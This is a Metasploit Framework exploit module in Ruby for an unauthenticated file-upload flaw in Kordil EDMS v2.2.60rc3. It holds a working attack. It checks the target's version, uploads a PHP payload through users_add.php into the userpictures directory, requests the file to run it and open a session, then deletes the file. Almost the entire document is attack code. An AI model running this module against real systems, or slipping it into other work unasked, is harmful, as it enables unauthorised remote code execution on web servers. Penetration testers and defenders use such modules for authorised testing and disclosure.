## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Kordil EDMS v2.2.60rc3. This application has an upload feature that allows an unauthenticated user to upload arbitrary files to the '/kordil_edms/userpictures/' directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brendan Coles ' # Discovery and exploit ], 'References' => [ #['OSVDB', ''], #['EDB', ''], ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Feb 22 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']), ], self.class) end def check base = target_uri.path peer = "#{rhost}:#{rport}" # retrieve software version from login page begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'global_group_login.php') }) if res and res.code == 200 if res.body =~ /
Kordil EDMS v2\.2\.60/ return Exploit::CheckCode::Vulnerable elsif res.body =~ /Kordil EDMS v/ return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def upload(base, file) data = Rex::MIME::Message.new data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"") data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"') data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"') data.add_part("n", nil, nil, 'form-data; name="act"') data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'users_add.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post }) return res end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}.php") else client.shell_command_token("rm #{@fname}.php") end end def exploit base = target_uri.path @peer = "#{rhost}:#{rport}" @fname = rand_text_numeric(7) # upload PHP payload to userpictures/[fname].php print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") php = %Q|| begin res = upload(base, php) if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/ print_good("#{@peer} - File uploaded successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end # retrieve and execute PHP payload print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)") begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end end end